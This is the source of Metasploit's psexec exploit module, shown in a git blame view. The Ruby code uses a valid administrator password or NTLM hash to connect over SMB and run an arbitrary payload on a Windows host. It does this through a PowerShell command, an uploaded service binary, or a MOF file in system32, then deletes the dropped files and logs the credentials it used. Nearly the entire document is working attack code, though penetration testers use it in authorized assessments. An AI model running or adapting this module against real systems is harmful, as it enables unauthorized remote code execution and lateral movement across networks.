metasploit-framework/modules/exploits/windows/smb/psexec.rb

330 lines
10 KiB
Ruby
Raw Normal View History

##
2017-07-24 13:26:21 +00:00
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# Windows XP systems that are not part of a domain default to treating all
# network logons as if they were Guest. This prevents SMB relay attacks from
# gaining administrative access to these systems. This setting can be found
# under:
#
# Local Security Settings >
# Local Policies >
# Security Options >
# Network Access: Sharing and security model for local accounts
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Exploit::Remote
2013-08-30 21:28:54 +00:00
Rank = ManualRanking
2015-02-13 23:17:59 +00:00
include Msf::Exploit::Remote::SMB::Client::Psexec
2015-10-30 21:21:24 +00:00
include Msf::Exploit::Powershell
2013-08-30 21:28:54 +00:00
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec
2015-10-30 21:21:24 +00:00
include Msf::Auxiliary::Report
2013-08-30 21:28:54 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Windows Authenticated User Code Execution',
'Description' => %q{
This module uses a valid administrator username and password (or
password hash) to execute an arbitrary payload. This module is similar
to the "psexec" utility provided by SysInternals. This module is now able
to clean up after itself. The service created by this tool uses a randomly
chosen name and description.
},
'Author' =>
[
'hdm',
2015-10-30 21:21:24 +00:00
'Royce Davis <rdavis[at]accuvant.com>', # (@R3dy__) PSExec command module
'RageLtMan <rageltman[at]sempervictus>' # PSH exploit, libs, encoders
2013-08-30 21:28:54 +00:00
],
'License' => MSF_LICENSE,
'Privileged' => true,
'DefaultOptions' =>
{
'WfsDelay' => 10,
2015-10-30 21:21:24 +00:00
'EXITFUNC' => 'thread'
2013-08-30 21:28:54 +00:00
},
'References' =>
[
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
[ 'OSVDB', '3106'],
2015-10-30 21:21:24 +00:00
[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ],
[ 'URL', 'https://www.optiv.com/blog/owning-computers-without-shell-access' ],
2015-10-30 21:21:24 +00:00
[ 'URL', 'http://sourceforge.net/projects/smbexec/' ]
2013-08-30 21:28:54 +00:00
],
'Payload' =>
{
'Space' => 3072,
2016-03-31 04:38:46 +00:00
'DisableNops' => true
2013-08-30 21:28:54 +00:00
},
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
2013-08-30 21:28:54 +00:00
'Targets' =>
[
[ 'Automatic', { } ],
2015-10-30 21:21:24 +00:00
[ 'PowerShell', { } ],
[ 'Native upload', { } ],
[ 'MOF upload', { } ]
2013-08-30 21:28:54 +00:00
],
'DefaultTarget' => 0,
# For the CVE, PsExec was first released around February or March 2001
'DisclosureDate' => 'Jan 01 1999'
))
register_options(
[
OptString.new('SHARE', [ true, "The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", 'ADMIN$' ])
])
2013-08-30 21:28:54 +00:00
register_advanced_options(
[
OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]),
2014-01-06 22:45:55 +00:00
OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil]),
OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']),
OptString.new('SERVICE_STUB_ENCODER', [false, "Encoder to use around the service registering stub",nil])
])
2013-08-30 21:28:54 +00:00
end
def exploit
print_status("Connecting to the server...")
connect()
print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...")
smb_login()
if not simple.client.auth_user and not datastore['ALLOW_GUEST']
2013-08-30 21:28:54 +00:00
print_line(" ")
print_error(
"FAILED! The remote host has only provided us with Guest privileges. " +
"Please make sure that the correct username and password have been provided. " +
"Windows XP systems that are not part of a domain will only provide Guest privileges " +
"to network logins by default."
)
print_line(" ")
disconnect
2015-12-18 21:54:51 +00:00
return
2013-08-30 21:28:54 +00:00
end
2015-10-30 21:21:24 +00:00
if datastore['SMBUser'].to_s.strip.length > 0
report_auth
end
2015-10-30 21:21:24 +00:00
case target.name
when 'Automatic'
if powershell_installed?
print_status('Selecting PowerShell target')
powershell
2013-08-30 21:28:54 +00:00
else
2015-10-30 21:21:24 +00:00
print_status('Selecting native target')
native_upload
2013-08-30 21:28:54 +00:00
end
2015-10-30 21:21:24 +00:00
when 'PowerShell'
powershell
when 'Native upload'
native_upload
when 'MOF upload'
mof_upload
end
2015-10-30 21:21:24 +00:00
handler
disconnect
end
def powershell_installed?
share = "\\\\#{datastore['RHOST']}\\#{datastore['SHARE']}"
2015-10-30 21:21:24 +00:00
case datastore['SHARE'].upcase
when 'ADMIN$'
path = 'System32\\WindowsPowerShell\\v1.0\\powershell.exe'
when 'C$'
path = 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'
else
path = datastore['PSH_PATH']
end
2015-12-18 21:54:51 +00:00
simple.connect(share)
2015-12-18 21:54:51 +00:00
vprint_status("Checking for #{path}")
2015-10-30 21:21:24 +00:00
2015-12-18 21:54:51 +00:00
if smb_file_exist?(path)
vprint_status('PowerShell found')
psh = true
2015-12-18 21:54:51 +00:00
else
vprint_status('PowerShell not found')
psh = false
2015-10-30 21:21:24 +00:00
end
2015-12-18 21:54:51 +00:00
simple.disconnect(share)
psh
2015-10-30 21:21:24 +00:00
end
def powershell
ENV['MSF_SERVICENAME'] = datastore['SERVICE_NAME']
2015-10-30 21:21:24 +00:00
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
if datastore['PSH::persist'] and not datastore['DisablePayloadHandler']
print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option")
end
# Execute the powershell command
print_status("Executing the payload...")
2015-10-30 21:21:24 +00:00
begin
psexec(command)
rescue StandardError => exec_command_error
fail_with(Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}")
2013-08-30 21:28:54 +00:00
end
2015-10-30 21:21:24 +00:00
end
2013-08-30 21:28:54 +00:00
2015-10-30 21:21:24 +00:00
def native_upload
2013-08-30 21:28:54 +00:00
filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"
2015-10-30 21:21:24 +00:00
servicename = datastore['SERVICE_NAME'] || rand_text_alpha(8)
serviceencoder = datastore['SERVICE_STUB_ENCODER'] || ''
2013-08-30 21:28:54 +00:00
2015-10-30 21:21:24 +00:00
# Upload the shellcode to a file
print_status("Uploading payload...")
smbshare = datastore['SHARE']
fileprefix = ""
# if SHARE = Users/sasha/ or something like this
if smbshare =~ /.[\\\/]/
subfolder = true
smbshare = datastore['SHARE'].dup
smbshare = smbshare.gsub(/^[\\\/]/,"")
folder_list = smbshare.split(/[\\\/]/)
smbshare = folder_list[0]
fileprefix = folder_list[1..-1].map {|a| a + "\\"}.join.gsub(/\\$/,"") if folder_list.length > 1
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
fd = smb_open("\\#{fileprefix}\\#{filename}", 'rwct')
else
subfolder = false
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
fd = smb_open("\\#{filename}", 'rwct')
end
exe = ''
opts = { :servicename => servicename, :serviceencoder => serviceencoder}
begin
exe = generate_payload_exe_service(opts)
2015-10-30 21:21:24 +00:00
fd << exe
ensure
fd.close
end
2015-10-30 21:21:24 +00:00
if subfolder
print_status("Created \\#{fileprefix}\\#{filename}...")
else
print_status("Created \\#{filename}...")
end
# Disconnect from the share
simple.disconnect("\\\\#{datastore['RHOST']}\\#{smbshare}")
# define the file location
if datastore['SHARE'] == 'ADMIN$'
file_location = "%SYSTEMROOT%\\#{filename}"
elsif datastore['SHARE'] =~ /^[a-zA-Z]\$$/
file_location = datastore['SHARE'].slice(0,1) + ":\\#{filename}"
2013-08-30 21:28:54 +00:00
else
2015-10-30 21:21:24 +00:00
file_location = "\\\\127.0.0.1\\#{smbshare}\\#{fileprefix}\\#{filename}"
end
psexec(file_location, false)
unless datastore['SERVICE_PERSIST']
print_status("Deleting \\#{filename}...")
#This is not really useful but will prevent double \\ on the wire :)
if datastore['SHARE'] =~ /.[\\\/]/
2013-08-30 21:28:54 +00:00
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
2015-10-30 21:21:24 +00:00
begin
simple.delete("\\#{fileprefix}\\#{filename}")
rescue XCEPT::ErrorCode => e
print_error("Delete of \\#{fileprefix}\\#{filename} failed: #{e.message}")
end
2013-08-30 21:28:54 +00:00
else
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
2015-10-30 21:21:24 +00:00
begin
simple.delete("\\#{filename}")
rescue XCEPT::ErrorCode => e
print_error("Delete of \\#{filename} failed: #{e.message}")
end
2013-08-30 21:28:54 +00:00
end
2015-10-30 21:21:24 +00:00
end
end
2013-08-30 21:28:54 +00:00
2015-10-30 21:21:24 +00:00
def mof_upload
share = "\\\\#{datastore['RHOST']}\\ADMIN$"
filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"
2013-08-30 21:28:54 +00:00
2015-10-30 21:21:24 +00:00
# payload as exe
print_status("Trying wbemexec...")
print_status("Uploading Payload...")
if datastore['SHARE'] != 'ADMIN$'
print_error('Wbem will only work with ADMIN$ share')
return
end
simple.connect(share)
exe = generate_payload_exe
fd = smb_open("\\system32\\#{filename}", 'rwct')
fd << exe
fd.close
print_status("Created %SystemRoot%\\system32\\#{filename}")
2013-08-30 21:28:54 +00:00
2015-10-30 21:21:24 +00:00
# mof to cause execution of above
mofname = rand_text_alphanumeric(14) + ".MOF"
mof = generate_mof(mofname, filename)
print_status("Uploading MOF...")
fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct')
fd << mof
fd.close
print_status("Created %SystemRoot%\\system32\\wbem\\mof\\#{mofname}")
2013-08-30 21:28:54 +00:00
2015-10-30 21:21:24 +00:00
# Disconnect from the ADMIN$
simple.disconnect(share)
end
2013-08-30 21:28:54 +00:00
2015-10-30 21:21:24 +00:00
def report_auth
service_data = {
address: ::Rex::Socket.getaddress(datastore['RHOST'],true),
port: datastore['RPORT'],
service_name: 'smb',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: self.fullname,
private_data: datastore['SMBPass'],
username: datastore['SMBUser'].downcase
}
if datastore['SMBDomain'] and datastore['SMBDomain'] != 'WORKGROUP'
credential_data.merge!({
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
realm_value: datastore['SMBDomain']
})
2013-08-30 21:28:54 +00:00
end
2015-10-30 21:21:24 +00:00
if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/
credential_data.merge!({:private_type => :ntlm_hash})
else
credential_data.merge!({:private_type => :password})
end
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
login_data = {
access_level: 'Admin',
core: credential_core,
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL
}
login_data.merge!(service_data)
create_credential_login(login_data)
2013-08-30 21:28:54 +00:00
end
end